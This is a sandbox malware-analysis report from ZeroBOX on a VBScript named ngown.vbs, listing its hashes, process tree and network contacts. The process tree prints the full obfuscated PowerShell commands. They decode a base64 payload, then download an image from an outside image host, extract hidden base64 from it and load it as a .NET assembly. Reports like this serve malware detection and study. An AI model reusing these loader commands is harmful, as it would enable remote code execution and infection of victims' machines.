popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

ngown.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 9, 2023, 9:28 a.m. Nov. 9, 2023, 9:30 a.m.
Size 186.1KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 02a3397b2d50409559121caee5c82d81
SHA256 c8c4f8857fbf1ffe25ae4c584f54391a243bdab282c20244176896f511b4722f
CRC32 A2347105
ssdeep 3072:pQlZ3mRQD/////G/////0/////y/////F/////W/////8/////4/////1/////v4:Y/////G/////0/////y/////F/////WC
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\ngown.vbs

    2556

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2704

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('KQkim'+'ageUrl = Zlihttps://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750Zli;KQkwebClient'+' = New-Object System.Net.WebClient;KQkimageBytes = KQkwebClient.DownloadData(KQkimageUrl);K'+'QkimageText = [System.Text.Encoding]::UTF8.G'+'etString(KQkimageBytes);KQkstartFlag = Zli<<BASE64_START>>Zli;KQkendFl'+'ag = Zl'+'i<<B'+'A'+'SE64_END>>Zli;KQkstartIndex = KQkimageText.IndexOf(KQkstartFlag);KQkendIndex = KQkimageText.I'+'ndexOf(K'+'QkendFlag);KQks'+'tartIndex -g'+'e 0 -and KQkendIndex'+' '+'-gt KQkstart'+'Index;KQksta'+'rtIndex += KQksta'+'rtFlag.Length;KQkbase64'+'Length = KQkendIndex - KQkstartIndex;KQkbase64Command = KQkimageText.Substring'+'(KQ'+'ks'+'tartIndex, KQkbase64Length);KQkcommandBytes = [System.Convert]::FromBase'+'64String(KQkbase64'+'Command);KQkloadedAssembly = [Syste'+'m.Reflecti'+'on.Assembly]::Load(KQkcommandBytes);KQktype = KQkloa'+'dedAssembly.GetType(ZliFiber.HomeZli);KQkmethod = KQktype.GetMe'+'th'+'od(ZliVAIZli).Invo'+'ke(KQknull, [object[]] (ZlidHh0LnNtaG9nbi95dGlzYXYvcG90LnlvY2l0aXVxZS8vOnB'+'0dGg=Zli , ZlidfdfdZli , ZlidfdfZli , ZlidfdfZli '+', ZlidadsaZli , ZlideZli , ZlicuZli))').rEplAce(([Char]75+[Char]81+[Char]107),'$').rEplAce('Zli',[strinG][Char]39) |. ((VariAble '*mDr*').NAmE[3,11,2]-jOiN'')"

        2804

Name Response Post-Analysis Lookup
apps.identrust.com
A 121.254.136.9
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.18
23.67.53.27
paste.ee
A 104.21.84.67
A 172.67.187.200
172.67.187.200
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
104.21.84.67 Active Moloch
121.254.136.18 Active Moloch
164.124.101.2 Active Moloch
172.67.215.45 Active Moloch

Suricata Alerts

Flow SID Signature Category
